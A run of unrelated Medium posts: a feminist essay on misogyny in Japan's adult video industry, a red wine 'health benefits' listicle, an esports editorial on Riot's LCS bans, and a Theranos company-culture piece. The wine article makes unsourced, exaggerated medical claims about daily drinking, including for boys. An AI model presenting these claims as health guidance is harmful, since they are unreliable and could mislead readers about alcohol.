Misogyny in Japan Pornography Industry — The sexualisation of culture. | The media has gone through significant changes over the past decades, especially when it comes to the representation of sexuality on screen. Sex is influenced by natural ‘urges’ and cultural aspects and therefore, attitudes towards sexuality change over time. The market for porn is also expanding thanks to the development of technology and Web 2.0 practices resulting in a dramatic increase in sex productions which raises concerns about the ethics of sex media (Attwood, 2012). Despite multiple attempts to break down the patriarchal gender fundamentalism in the media industry, pornography and other forms of contemporary media still present objectified female bodies that cater to male fantasy. Pornography routinely portrays sex within a domination/subordination dynamic which eroticises men’s domination of women (Jensen, 2016). This type of representation is especially relevant in Japan where traditional gender roles and misogyny still prevail. Violent and degrading imagery against women can be easily accessed and consumed abundantly for men’s amusement in Japan (Kazue, 2016). In this blog, I will be using feminist approaches to analyse the pornography industry, particularly in the context of Japan. First, I will give a brief description of contemporary pornography there and the underlying issues in the industry. Then, I will explain why media practitioners and professionals as well as the audiences should be aware of the issue. Next, I will identify the key social and cultural forces that contribute to the creation of porn and hence, evaluate the ethical qualities of Japanese sex media. After that, possible responses will be suggested to address the concerns regarding the current social issues within the industry. Finally, I will sum up my arguments and restate my position on the topic.
Akihabara, Japan.
Pornography in Japan, similar to global markets, has been heavily influenced by the evolution of technology and media. The first adult video in Japan was released in 1981 and the industry peaked in the early 2000s with around 30,000 videos published annually (Hambleton, 2019). Japan is considered one of the most lucrative markets for porn with an estimated worth of approximately 106 billion Japanese yen in 2019 (Engelmann, 2020). However, the development of the Internet has enabled free access to uncensored porn which increases the competition within the industry leaving porn production companies struggling to survive as they have to market themselves in creative ways to court new audiences and loyal fans (Hambleton, 2019). There are two main positions towards the porn industry in Japan: pro-porn and anti-porn. Anti-porn activists argue that depictions of violent imagery against women not only degrade and disrespect women but also encourage real-life sexual abuse caused by men (Hambleton, 2019). Many of the arguments for pro-porn focus on the freedom of expression and the exploration of sexuality arguing that sex is a natural part of the human experience (Hambleton, 2019). I firmly believe that everyone has a right to feel sexually represented in media, however, women must not be positioned in a place of disempowerment and subordination. Sex media, as well as other forms of media, should be equal for everyone and should not only cater to the pleasure of straight men. Example of the current situation in the Japanese porn industry is relevant to the sexualisation of contemporary media. The term “sexualisation” has a certain level of negative connotation that goes along with it, not because the representation of sexuality is inherently inappropriate, but rather because of the constant objectification of the women bodies in media productions (Tyler & Quek, 2016). The chosen example highlights the systemic misogyny and the importance of ethical evaluation in every aspect of the porn industry from organisational practices to production and distribution.
With the aim of breaking down the patriarchal framework in adult video productions, the first and foremost action to be taken is to address the significance of the issue in terms of industrial ethics as well as social values. The increasing influence of pornography has raised many concerns about the ethics of labour in the industry as well as impacts on underage children, sexual offences, and the sexual objectification of women (Attwood, 2012). For Japan, the porn industry is heavily impacted by the “salvage ideology” which consists of two main themes: men’s domination over women and women should feel grateful to rely on men sexually (Wong & Yau, 2018). Research on pornography effects on real-life sexual offenders found that for 93% of child molesters and 61% of rapists, exposure to pornography enhanced their deviant sexual interests inciting them to commit sexual abuse (Itzin, 2002, p.9). Psychological studies also found that watching a film depicting a raped woman showing pleasure can trigger aggression in men and contribute to their justification of rape (Ohbuchi, Ikeda & Takeuchi, 1994). However, reports about sex crimes in Japan found the opposite, the large increase in sexually explicit materials “has not been correlated with an increase in rape or other sexual crimes” (Diamond & Uchiyama, 1999, p.15) instead, there has been a noticeable decrease in sexual crimes in Japan (Diamond & Uchiyama, 1999). Nevertheless, this does not discredit concerns about media effects on human behaviours, the decrease in sex crimes does not take away the fact that most of the sexual offenders were actually motivated by violent adult productions. This relates to cultivation theory about media effects which examines the long-term influence on viewers who are constantly exposed to repetitive patterns of images (Stacks, Li & Spaulding, 2015). Media professionals need to be aware of the issue and understand the significance of media on audiences in order to avoid producing content that can potentially disrupt society as a whole. Audiences should also be educated about media literacy so that they can protect themselves as well as other consumers. Sex media is a sensitive topic but there must be discussions about the issue to address the potential risks of the industry on workers, consumers, and social order.
Adult games and DVDs for sale in Tokyo. Credit: Ko Sasaki for The New York Times.
The reason why Japanese pornographic content largely focuses on portraying women as submissive lies in the embedded misogyny in the culture of this country. Media and culture influence each other, media products can reflect and affect the construction of society. A cross-cultural study about pornography in Norway, the US, and Japan showed a significant relationship between cultural practices and media creation as Norwegian pornography, a country that ranks first in gender equality, depicts women in a more empowering manner than does Japan (Arakawa, Flanders & Hatfield, 2012). Japan is not only sexist in the representation of women in adult entertainment productions, but also exploitative in the labour of female sex performers. The majority of actresses who are in the age of 18 to 20, specifically around 86% of them, is reported to have performed risky-sex movies (Chou, Zhang & Wang, 2019). There are also many cases where conmen trick girls into signing porn contracts in disguise of modelling work and then coerce them to become involved in the porn industry (Mealey, 2017). Japanese people have also been accustomed to the traditional and harmful expectations of women. In an interview conducted by Asian Boss to understand how the Japanese think of the porn industry in their country, there were multiple gender-biased remarks made by both male and female respondents.
(Asian Boss, 2016)
There are two most notable responses:
1. Porn is made mainly for the amusement of men 2. Adult video actresses do the job just for the money
The interviewees answer the questions in a respectful and polite manner, however, there seems to be some subtle sexism in their speech and culture plays an important role in shaping these thoughts. In 2019, Japan was ranked 19th in the Gender Inequality Index report, which is relatively low for a developed country (“Gender Inequality Index”, 2019). Wong and Yau applied Marxist analysis to examine the Japan adult video industry and articulated that “production amounts to a reproduction of culturally constituted use values”. (Wong & Yau, 2018, p.11). In other words, Japanese pornographic content is governed by the cultural code of this country which is reflected by the “salvage ideology”, a concept that was mentioned in the previous paragraph. I would like to argue that pornography is not innately corrupt, however, the rooted patriarchal and misogynist culture of Japan has contributed to the creation and distribution of violent materials against women which raises concerning ethical matters in the Japanese adult entertainment field. Nonetheless, it is not impossible to reconstruct the issue. I will respond to the current state of the Japanese porn industry utilising the feminist framework and hence, make some suggestions to address the concerns for the practices of this industry.
As mentioned above, there are two main feminist approaches to pornography: anti-pornography and anti-censorship; the former argues that the production and distribution of porn have further oppressed and abused women while the latter asserts that positioning pornography as the active cause for discrimination against women denies the responsibility of men who deliberately use porn in ways that harm women (Boyle, 2000). The Anti-Pornography and Prostitution Research Group (APP) has been actively fighting for gender equality and women's rights. APP’s early activism focused on Japan’s torture porn producers and found many ways in which women are victimised including revenge pornography, child abuse facilitation, blackmail, and extortion (Norma & Morita, 2020). These findings have established an empirical foundation for exposing the commercial sexual exploitation of women in Japan (Norma & Morita, 2020). The efforts over nearly two decades of the APP have prompted the emergence of Japan’s #MeToo movement against commercial forms of sexual violence against women (Norma & Morita, 2020). However, critiques of anti-porn activism claim that the approach has a lack of consideration for social and cultural influence on media, sexuality theories, and the relationship between production and culture of consumption which shows no real explanatory power (Smith & Attwood, 2014).
#MeToo movement in Japan. Credit: Thisanka Siripala.
The pro-porn approach focuses on freedom of expression and the empowerment of women in pornography. In Japan, one niche area is bucking trends and earning profits — pornography for women. Silk Labo, a female-friendly pornography company, has been able to not only sell over 10,000 DVD copies and generate great publicity for the company but also contribute to the conversation about women’s agency in sexual expression (Hambleton, 2016). Silk Labo aims to produce films from an “imaged female gaze” that redirect the conventional male point-of-view in adult productions to women which attempts to subvert the traditional roles of active men and passive women (Hambleton, 2016). However, Hambleton argued that “while Silk Labo is an example of a feminist producer, it is one that has only appeared due to economic pressures and is compromised by its commercial tendencies” (2016, p.437). Nevertheless, this phenomenon opens up new possibilities for the expansion of female-friendly adult video productions that can satisfy women’s sexual desires and needs. As critics point out, this “sex-positive” approach may ignore the traumatic, abusive experiences of sex and the concern about the use of people as commodities in porn productions (Smith & Attwood, 2014).
Instead of choosing either pro- or anti-porn, Smith and Attwood introduced a new kind of perspective: critical thinking about pornography. This approach aims to examine business practices, distribution, legal institutions and focuses on the work of diverse submissions that will position our viewpoints to the centre of critical debate about porn (Smith & Attwood, 2014).
The representation of sex has been increasingly popular in mass media and sexual identities have become a form of public discourse rather than private expression. Adult entertainment has long been a controversial topic for both audiences and media practitioners generating many debates about its unethical practices. It is true that the industry is now still very discriminatory and oppressive towards females and this is definitely due to historical and social forces that have shaped the culture of use and production in a way that favours men over women. I believe that pornography should not be prohibited but rather, should be strictly regulated so that every stakeholder is treated equally and ethically. There are many obstacles to media regulations as the development of the Internet has enabled the emergence of illegal porn sites. We need to examine technical as well as social aspects which contributes to the exploitative nature of the porn industry and henceforth, actively take different measures to practically address the issue.
References
“Gender Inequality Index”. (2019). Human Development Reports. http://hdr.undp.org/en/indicators/68606
Arakawa, D. R. & Flanders, C. & Hatfield, E. (2012). Are variations in gender equality evident in pornography? A cross-cultural study. International Journal of Intercultural Relations, 36(2), 279–285. https://doi.org/10.1016/j.ijintrel.2011.08.006
Asian Boss. (2016, Jul 31). What The Japanese Think Of Japanese Porn | 日本人は日本のAVについてどう思っているのか | 일본야동에 대한 일본사람들의 생각 | ASIAN BOSS [Video]. Youtube. https://www.youtube.com/watch?v=da7LqBQQ5pI
Attwood, F. (2012). Sex and the Media. In K. Ross (Ed.), The Handbook of Gender, Sex, and Media (1st Edition, pp. 457–469). John Wiley & Sons Ltd.
Boyle, K. (2000). The Pornography Debates: Beyond Cause and Effect. Women’s Studies International Forum, 23(2), 187–195. https://doi.org/10.1016/S0277-5395(00)00077-7
Chou, L., Zhang, W. & Wang, S. (2019). The determinants of a pornography actress’s career life. Economic Research-Ekonomska Istraživanja, 32(1), 454–472. DOI: 10.1080/1331677X.2018.1553682
Diamond, M & Ayako, U. (1999). Pornography, Rape, and Sex Crimes in Japan. International Journal of Law and Psychiatry, 22(1), 1–22. https://doi.org/10.1016/S0160-2527(98)00035-1
Engelmann, J. (2020). Value of the non-contact sex self-pleasure (pornography) market in Japan from fiscal year 2015 to 2019. Statista. https://www.statista.com/statistics/1125880/japan-market-size-non-contact-sex-self-pleasure/
Hambleton, A. (2016). When women watch: the subversive potential of female-friendly pornography in Japan. Porn Studies, 3(4), 427–442. DOI: 10.1080/23268743.2015.1065203
Hambleton, A. (2019). Gender desires: Pornography and consumption. In J. Coates, L. Fraser & M. Pendleton (Ed.), The Routledge Companion to Gender and Japanese Culture, (1st Edition, pp. 361–369). Routledge. https://doi.org/10.4324/9781315179582
Itzin, C. (2002). Pornography and the construction of misogyny. Journal of Sexual Aggression, 8(3), 4–42. DOI: 10.1080/13552600.2002.10516332
Jensen, R. (2016). Pornographic Values: Hierarchy and Hubris. Sexualization, Media, & Society, 1–5. DOI: 10.1177/2374623815627787
Kazue, M. (2016). The ‘comfort women’ issue and the embedded culture of sexual violence in contemporary Japan. Current Sociology Monograph, 64(4), 620–636. DOI: 10.1177/0011392116640475
Mealey, R. (2017, Jun 10). Women in Japan tricked into pornography under guise of modelling contracts and fame. ABC News. https://www.abc.net.au/news/2017-06-10/increasing-number-of-japanese-women-forced-into-pornography/8602288
Norma, C & Morita, S. (2020). Feminist Action Against Pornography in Japan: Unexpected Success in an Unlikely Place. Dignity: A Journal on Sexual Exploitation and Violence, 4(4), Article 4. DOI: 10.23860/dignity.2019.04.04.04
Ohbuchi, K., Ikeda, T. & Takeuchi, G. (1994). Effects of violent pornography upon viewer’s rape myth beliefs: A study of Japanese males. Psychology, Crime and Law, 1(1), 71–81. DOI: 10.1080/10683169408411937
Smith, C. & Attwood, F. (2014). Anti/pro/critical porn studies. Porn Studies, 1(1–2), 7–23. DOI: 10.1080/23268743.2014.887364
Stacks, D. W., Li, Z. C. & Spaulding, C. (2015). Media Effects. International Encyclopedia of the Social & Behavioral Sciences (Second Edition), 29–34. https://doi.org/10.1016/B978-0-08-097086-8.95045-1
Tyler, M. & Quek, K. (2016). Conceptualizing Pornographication: A Lack of Clarity and Problems for Feminist Analysis. Sexualization, Media, & Society, 1–14. DOI: 10.1177/2374623816643281
Wong, H. & Yau, H. (2018). The Japanese Adult Video Industry (1st Edition). Routledge. | https://medium.com/@chauanh-78090/misogyny-in-japan-pornography-industry-the-sexualisation-of-culture-516bf49315b3 | ['Chau Anh'] | 2021-06-09 02:10:25.701000+00:00 | ['Media Literacy', 'Femism', 'Pornography'] |
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Top 8 Amazing Red Wine Health Benefits | “It’s a smile , It’s a kiss , Its’s a sip of Red Wine ….. It’s a Winter com New Year”
Top 8 Amazing Red Wine Health Benefits :-
In spite of Having alive in 2020 , always we think every boy’s culture is being very bad day day . who drink red wine in party , occassion or disco-club , everyone point out them . but do you know , others countries people can not live without red wine . it is very normal in those country . because they know what are the red wine health benefits . why www.glowloves.com is saying red wine has health benefits . keep read for information .
What Is Red Wine ?
Red wine is mainly made by dark colored grapes . by grinding Dark-colored and filled with juice grapes are made from red wine . Different types of red wine are available in the market and their colors and tastes are also different . red wine drinking one kind of health treatment .
What Are The Name Of Best Red Wine ?
The best types of red wine available in the market are Zinfandel, Merlot , Shiraz , Pinot Noir, Cabernet & Syrah .
Read more :- Home Remedy for tooth pain in winter
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Bottom Line :- This Article Specially for 25 Dec , 2020 or Eve Party . after someday Christmas & New Year will be coming . we all know that in that day more or less everyone like to party . go in the party & enjoy fully with no confusion about drinking of Red Wine . but remember excess amount of drinking red wine can give you bad effect .
-: Look What Are The Top 8 Amazing Red Wine Health Benefits :-
1) Good Heart Relationship To Red Wine Health Benefits :-
Discussion of Healthy Heart and Red Wine Health Benefits is interrelated . resulting of consuming small amount of red wine , your sudden heart attack risk may can lower .
In one study has proved that people who drinks 100–150 ml ( 5 Ounces ) red wine in a day , they are in low risk of having sudden heart attack approximately 40% . because red wine contains of 80% dark colored grape , which has lots of antioxidants .
2) Good Cholesterol Relationship To Red Wine Health Benefits :-
If your Heart is in a good situation . automatic good ( HDL ) cholesterol are increased and bad ( LDL ) cholesterol are decreased . it can be said that Heart & Cholesterol are two Brothers .
because red wine is helpful beverage which reduces oxidative damage from body . oxidation of bad ( LDL ) cholesterol decreases for 40–60% .
3) Stroke Relationship To Red Wine Health Benefits :-
Sip ( চুমুক) of 1–3 glasses of red wine a day may can lower risk of stroke . If you drink for 2–3 day in a weeks .
[ 1 short red wine glass = 150 ml 0r 5 ounces ] .
4) Cancer Relationship To Red Wine Health Benefits :
Drinking of moderate amount red wine may also reduce the probability of chronic disease like cancer . example — ovary cancer ( ডিম্বাশয়ের ক্যান্সার ) , prostate cancer ( মূত্রথলির ক্যান্সার )
5) Insulin reduction Relationship To Red Wine Health Benefits :
Study has been shown that if anyone drink at least 2 glass or 300 ml red wine per day for 1 month . it will help to reduce insulin level in blood .
6) Less Depression Relation To Red Wine Health Benefits :
Studies have shown that young boys who drink a glass of red wine every day , they have fewer symptoms of depression . but not more than 1 glass or 100–150 ml .
7) Better s*x Life Relationship To Red Wine Health Benefits :
If you are not interested in intimacy with the person you love, drinking red wine can give you a better S*X life. This is because after drinking any alcohol, the blood flow increases more than usual .
8) Low Blood Pressure Relationship To Red Wine Health Benefits :
Discussion of blood pressure and red wine health benefit is also interlinking . people who are suffering for low blood pressure , if they drink red wine 2–3 glass or 350 ml then instant blood pressure will may come in normal mode .
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Some Frequent question & answer
Is Red Wine Good For You Every Night ?
Drinking red wine every day is harmful to the body .on the other hand there is also red wine health benefit . you can be drunk once a week for heart health as well as for raising good HDL cholesterol .You may have seen or noticed that every doctor drinks red wine two to three times a week .
Also study has been shown resulting of drinking red wine certainly raises blood flow . so it can give you sometime better intimate life or sex life .
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How much red wine should you drink for health benefits ?
According to Europe and American study , drinking right amount of red wine is -
For every ages women = 1 glass in a day ( 100- 150 ml )
For 25–65 ages men = 2 glass in a day ( 200–250 ml )
For more than 65 ages men = 1 glass in a day ( 100–150 ml )
Is Red Wine Good Or Bad For You ?
In the red wine alcohol containing level is 12–15% . An American study found that drinking moderate amounts of red wine can have some health benefits. Like drinking red wine may lower the risk of heart attack, bad LDl cholesterol can be reduced. Because red wine is fully loaded with high amount of powerful antioxidants . red wine is better than any other alcoholic beverages .
-: Conclusion :-
Surprisingly , red wine also play a role to get health benefits . moderate amount of red wine consumption is good for health . but excessive consumption can harm you badly . that is why for removing everyone confusion we have discussed about amazing red wine health benefit s . thank you guys , if you like please share & subscribe .
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Riot’s lack of transparency put to the test with LCS death penalties | Even if you were paying attention to the League of Legends scene this past week (MSI has been great!), you may have missed the biggest announcement in the history of the LCS. Riot Games announced a competitive ruling that Renegades, Team Dragon Knights, and Team Impulse are banned from League of Legends competitive play.
This ruling is reverberating throughout the scene, with many speculating what will happen going forward, particularly to prolific caster Christopher “Montecristo” Mykkles, who was also individually banned from being an owner for a full year.
One thing I want you to keep in mind as you read this column is this: Just because one person is wrong, doesn’t mean the other person is right.
Having said that, I have a lot of thoughts on the issue.
It’s not always so simple
Although I was a member of the Riot Games esports team for three years, my stances and opinions about issues in the League of Legends community are not identical to those of my former employer. In my time I have agreed and disagreed with a plethora of different issues that have emerged in the League scene. Like many fans, I do think that Riot is overly restrictive on their tournament scene, but I also think that in general they handle things very well. There were very few competitive rulings or policy changes I disagreed with, but there were some, many of which struck me as over-reaches.
There is a phrase that goes “disagree and commit.” Internally, there is a time to question execution and vision, but once a final decision is made, you go all out and support it — you have to, or the company doesn’t work. I don’t want to digress too much, but I want to make it clear that there were many issues I fought for internally in Riot. Some changed, some didn’t. But I was never one to silently follow, nor will I ever be. I fought the good fight, and then put my heart fully into whatever the final decision was, whether it was my vision or someone else’s.
During my time at Riot, I came to know a lot of the accusations and evidence against Chris Badawi (most all of which were later made public by LCS team owners). At the time of Badawi’s initial ruling, Riot had a mountain of evidence for all sorts of incidents. However, they only utilized the most concrete instance for the initial ruling. I believe that if Riot had released the full body of evidence available, and used that, the community would have roasted Badawi and fully supported the ban.
And being presented with the evidence, I do not believe Chris Badawi has honest intentions.
Renegades qualifying for the LCS with Chris “Doombang” Badawi centered
Many of the accusations against Badawi were given publicity when Travis Gafford and Gamespot released a series of statements and articles by other LCS team owners about their dealings with Badawi. Chris Badawi allegedly engaged in collusion, poaching, tampering, and bribery.
That should not be taken lightly.
I also believe that Montecristo is generally innocent of Badawi’s misconduct. I do not believe that Monte understood the full extent of Badawi’s misdealings, and generally believed his business partner to have good intentions.
I feel like I know Monte decently well, but I don’t know exactly how close we are. Over the years we’ve been somewhere between good acquaintances and friends. Despite him being very publicly critical of my work, and sometimes me personally, in person we’ve always gotten along. When we meet up we get dinner, talk shop about the scene and about life. He’s always been cordial, he’s even done me favors. Suffice it to say, despite our differences of opinion about League of Legends, I believe him to be an ethical and measured person.
Given my personal experience with Monte, and at Riot, things just aren’t adding up, and the muddle in the mixture is Chris Badawi.
“Never trust the ones with the most to gain.”
In these situations, I look at the potential motivations by the parties involved. What does each stand to gain and lose by the actions they take?
Chris Badawi has constantly played the conspiracy theory card — everyone is out to ‘get him.’ But what motivation would people really have in wanting to oust him?
Let’s look at it from Riot’s point of view.
Riot Games would very much like to franchise teams, but right now, there just aren’t enough great owners in the LCS. Even after this ruling, there are still a number of sketchy owners in the LCS, but despite that, some great ones have entered the scene in the last three years: Jack Etienne of Cloud9, Victor Goossens and Steve Arhancet of Team Liquid, Noah Whinston of Immortals, and Rick Fox of Echo Fox among others. Riot wants more owners like this. Their continued presence levels up the professionalism of the league, as well as brings stability and financing.
Team Liquid founder and co-owner Victor “Nazgul” Goossens
Badawi seems to underestimate how often these owners have disagreements with Riot Games, and assumes that the reason Riot likes owners like this is that they are willing to take the pile of shit that Riot shovels onto them; that there is some unspoken old boys club that he isn’t a part of. This is not the reality of the situation.
NDA prevents me from citing specific instances, but suffice it to say, that all owners have disagreements with specific issues Riot takes stances on, just as every Rioter has issues with Riot’s stances. Disagreements are generally solved internally, but no owner is 100% satisfied with the Riot Games esports department. There are just too many conflicting interests for everyone to be aligned, but they try to solve as many issues as possible.
If Badawi was the type of owner that Riot Games wanted, then they wouldn’t have banned him from the LCS. Look at Rick Fox for a counter-example. He was welcomed in with open arms, so was Noah Whinston. And let’s put aside the notion that other organizations aren’t player focused. Team Liquid was among the first organizations to actually make its players employees instead of independent contractors — a step which many organizations have yet to replicate. Riot Games loves this.
LCS owners and Riot Games senior leadership
Now, let’s look at it from the other owners point of view. Without knowing the personal relationships between the owners, as a third party observing their business relationships, all of the marquee NA LCS owners are cordial to one another. They have business amicable dealings, including trades and buyouts, that are handled professionally, and they work to level up the LCS.
As a former owner myself, I wanted to learn from others who had success in the scene. For me, it was people like Alex Garfield and Scott “SirScoots” Smith
SirScoots on stage at an ESL ONE event
If Badawi was the type of owner that other owners wanted, then they wouldn’t be working to oust him from the LCS. They’d be desperately trying to work with him.
Finally, let’s look at it from Chris Badawi’s point of view. There are two things to examine here: What would he do if he was telling the truth, and everyone was out to get him, and what would he do if everyone else was telling the truth?
If Badawi was the owner he said he was, he probably would have done some of the things Ember co-owner Bao Lam was doing: making his salaries public, talking about his training facilities and methods, discussing player conditions. He would be working with Riot to level up player treatment, contacting other owners to share information and methods.
People, especially his peers, would love him for what he was doing.
Now think about what you would do if you were not as gold-hearted as people believed. If you were trying to ascend through shady dealings. How would you justify that to the public? How would you spin your less-than-pure intentions?
Ah, yes…
Innocent until investigated
Now having done my best to paint what I believe is a realistic portrayal of Chris Badawi, let me take a look at the unfortunate circumstances that has Christopher Mykkles out of team ownership.
I believe that Monte thinks Chris Badawi is a good owner, and a good person. I believe that Monte thinks Riot is gunning for Badawi. I also believe that Monte thinks Riot is gunning for Monte. I can’t really clarify the dynamic that exists between Riot and Monte, because it’s quite complicated. A lot of people at Riot like him, a lot hate him, and Riot Games isn’t some hive mind. There are a lot of different people with a lot of different opinions. And many different people are responsible with different interactions with him.
But I’ll say this: Riot Games ousting Montecristo from the LCS without presenting a single bit of evidence is unjust. If I was Monte, I would probably consult counsel and seriously consider legal action for millions in lost revenue.
Many people in the community have picked up on the fact that in the League of Legends microcosm, Riot Games is judge, jury, and executioner. They write rules, operate the league, and adjudicate, all without any appeals process, or presentation of evidence.
While Riot does have a vitally important obligation to protect informants, there is a world where they can do that and still present evidence. Even though League of Legends is Riot’s domain, they still have to obey the law of the land. If Monte pursues legal action, Riot is going to have to release the evidence they’ve compiled. “Take our word for it,” does not fly in the real world, and honestly I’m surprised it’s worked as long as it has even in the League of Legends world.
I’m not sure how there is a universe where a company can make a ruling like this with literal no transparency or appeal process — it strikes me as ludicrous. As a member of Riot, I hated that we didn’t release evidence to the public. Which is why I thought the appeals process for players like Jensen was so great — it presented a yet-unmatched level of clarity about why decisions were being made.
Whether this ruling turns out to be correct or not, costing people millions of dollars without recourse or due process is not acceptable for an industry leader.
While I have no idea whether the allegations that Riot has made against Badawi this time are true (and given that the bans will likely stand, I really hope that they are accurate, or someone is getting screwed over), I hope that this is the beginning of actual transparency, not the calculated “transparency” that has been sold thus far.
I’m upset that Badawi managed to fool the community as long as he did. I’m upset that Riot hasn’t been as forthcoming with the community as it should be. I’m upset that people I like and care about are caught up in this.
This situation is as bad as it could possibly be.
Are Montecristo and Chris Badawi guilty of wrong doing? I don’t know.
But I hope we find out.
This article is an editorial, and as such should not be taken as fact, but simply this author’s opinion. | https://medium.com/the-nexus/riots-lack-of-transparency-put-to-the-test-with-lcs-death-penalties-395b0eb2113b | ['Frank Fields'] | 2016-05-11 04:17:32.612000+00:00 | ['League of Legends', 'Gaming', 'Esports'] |
Bad Blood: 5 Lessons in Company Culture from the Rise and Fall of Theranos | Bad Blood: 5 Lessons in Company Culture from the Rise and Fall of Theranos
Where did it all go so wrong?
You’ve all heard the story: golden girl rises from the boys’ club of Silicon Valley to become the first self-made female billionaire in the cut-throat world of tech startups.
Then, the bubble bursts, and it’s revealed that the company had been fudging test results and defrauding investors. The founders now face criminal charges.
Elizabeth Holmes was supposed to be our next Steve Jobs, black turtleneck and all. Except that she’s a woman — which made her even more celebrated in the tech space!
So where did things go so, so wrong?
“The culture at Theranos was toxic,” says John Carreyrou, the author of Bad Blood, which chronicles the epic rise and shocking fall of Elizabeth Holmes and her company Theranos.
“Would-be whistleblowers were threatened with lawsuits. Criticism of leadership or practices was unwelcome. Those who pushed back were usually either fired or marginalised to the extent that they had to leave — they had an expression, which was to ‘disappear’ someone,” Carreyrou said. “The paranoia went into overdrive.”
He added, “If the culture had been more wholesome, then maybe Theranos would have actually made some headway toward achieving Holmes’s vision.”
Here are 5 takeaways from the scandal about the importance of company culture — and the consequences of underrating it.
Lesson 1: Workplace perks do not equate to company culture
While many founders agree that company culture is important, not many understand what it actually means.
Company culture is about “the way we do things around here”. It encompasses everything from the organisation’s values, mission, and ethics, to its expectations and goals — in short, culture is what brings a company’s purpose to life.
According to David Sturt, Executive Vice President of O.C. Tanner, company culture mainly encompasses 6 things:
Purpose: What is your organisation’s reason for being or what difference do you hope it makes in the world? Opportunity: How well do you nurture your employees? Do you allow them to develop as professionals and help them expand their skillsets? Success: Do you give your employees opportunities to innovate, do meaningful work, and build winning teams? Appreciation: How often and sincerely do you acknowledge and recognise your employees’ outstanding work and unique contributions? Well-being: Do you see your employees as human beings, whose physical, social, emotional, and financial health you care about? Leadership: How well do your leaders connect with your employees and empower them to do great work? How authentic is the sense of camaraderie that is created?
So while the work environment does play a part, fancy designer furnishings, free snacks in the pantry, a monthly catered lunch, and even medical coverage do not a culture make.
Perks are great, yes, and can boost employee morale for a short period of time, but in the long run it’s the intangibles — purpose, values, principles like respect and integrity — that keep employees loyal and motivated.
Lesson 2: Company culture has a direct impact on your business objectives
Because culture shapes how decisions are made and how inter-personal relationship function, it dictates whether a company is innovative or conservative, value-driven or task-oriented, risk-averse or risk-taking.
When employees are aligned with their company’s culture, the result is greater innovation, better talent attraction and retention, and improved performance across the board.
On the other hand, when there is a gap between a company’s desired culture and its employees’ experience, it becomes much more difficult for the business to achieve performance goals and fulfil customers’ needs.
“The most important thing for your speed, your company, and your service is internal culture,” Gary Vaynerchuk vehemently asserts.
In his controversial address, he says that you should always do what’s best for your company culture — even if it means firing your most productive employee (if they are the source of toxicity in your organisation).
So central is the role of culture that there are even those who believe it will be the defining factor in identifying the next billion-dollar startup. That’s because allowing toxicity to fester in your company will cost you, literally.
In short, culture has a very real impact on whether you will achieve your business objectives. It is ultimately one of the things that can make or break a business.
The next time you think about your bottom line, think about how your company culture plays a role in whether you will — or won’t — achieve it.
Lesson 3: When it comes to culture, founders need to lead by example
It’s not enough for founders to dictate company culture — they need to lead by example. Showing a good face to the public, whether at conferences, in newspaper interviews, or at company events, means little to nothing if there is no follow-through.
Preaching equal opportunities while using discriminatory language in the office? Speaking about empathy in the papers while verbally abusing your staff in private? That’s no longer going to fly.
Employees know who you are on the daily, especially in a startup where the team is small. In a digital world of increased transparency (whether through Glassdoor reviews or good ol’ social media), emotionally or verbally abusive bosses no longer go unchecked.
Founders who create a culture of fear, intimidation, or anger will find that their best employees will drop them faster than a hot potato.
So while you may have some star ambassadors on your team to champion your company brand, at the end of the day, you need to have a direct hand in building the purpose, values, and culture of your business.
This is especially important if you aspire to become a leader that people will rally behind.
Lesson 4: Company culture is mainly about checks and balances
According to Carreyrou, the culture of Silicon Valley created one of the best conditions for someone like Holmes to thrive in. There have been numerous incidences of startup founders lying, raising millions of dollars in funding on nothing but air.
The mantras of “fake it till you make it”, “fail fast”, or “go big or go home” allowed much of Theranos to go unchecked — as long as they were distracting people with seemingly huge leaps in technology or prodigious funding.
Because the culture of Theranos vehemently blocked any internal criticism, the company had no devil’s advocate, no checks or balances, no oversight. This is a huge blind spot for startups, where the company seems to swivel and shift at the whim of its founder.
Which is why smart founders know to use their employees as a form of check and balance — they don’t get defensive in the face of honest feedback and are willing to own up to their mistakes.
After all, you can’t fix something until you acknowledge that it needs fixing.
Lesson 5: Gathering employee feedback alone is not enough to improve company culture
When it comes to employee engagement, many organisations go through the motions, whether it’s the mass anonymous employee survey, the awkward exit interview, or the company lunch where everyone ends up chatting in their own private circles anyway.
The two main reasons employees don’t bother giving feedback? Fear and futility, which both contribute to a lack of trust in leadership.
So if you’re genuine about improving your company culture, the first step to getting honest and constructive feedback from your employees is to establish trust with them. The second step is to actually listen and do something about it.
The worst thing a founder can do is let their ego get in the way of their own progress. Rather, foster a culture of continual learning, co-operation, and support, and watch your employees thrive.
The bottom line: treat your people right, because engaged and motivated employees will equate to more satisfied customers, and everyone knows it’s the customers that have the final say in the success of any company. | https://medium.com/swlh/company-culture-lessons-from-theranos-5dfc7cfba072 | ['Melissa Lorraine Chua'] | 2019-10-17 15:25:05.970000+00:00 | ['Company Culture', 'Startup'] |
Find a Lonely Place | Weirdo Poetry is a place for experimental storytelling. Here you will find visual essays, haiku, poetry, comic strips, micro memoirs, and flash fiction. These are stories that grab a hold of you and never let go. Each story is guaranteed to make your day at least 1% better.
Follow | https://medium.com/weirdo-poetry/find-a-lonely-place-8aefaf93a75d | ['Jason Mcbride'] | 2020-10-13 12:17:53.513000+00:00 | ['Poetry', 'Self Care', 'Books', 'Surreal', 'Haiku'] |
Courage and Wisdom 勇氣與智慧 | Photo by Olivia Jingyi, on 10/6/2020 曾錚2020年10月6日攝於紐約某處。攝影：吉林省攝影家協會成員 Olivia Jingyi
Courage or wisdom, which is more important?
勇氣與智慧，哪一個更重要？
I think it is wisdom. If you have the wisdom to find the truth, if you have the wisdom to understand the direction of things, if you have the wisdom to know the future and God’s arrangement, then you can have the courage to pursue the right thing.
我認爲是智慧。有智慧找到真理真相，有智慧明白事物的發展方向，有智慧知道未來的結局和神的安排，才能有勇氣堅持對的事情。
12/15/2020 | https://medium.com/@jennifer-zeng/courage-and-wisdom-%E5%8B%87%E6%B0%A3%E8%88%87%E6%99%BA%E6%85%A7-fee62c1c555f | ['Jennifer Zeng'] | 2020-12-16 13:05:34.857000+00:00 | ['Courage', '智慧', '曾錚', 'Wisdom', 'Jennifer Zeng'] |
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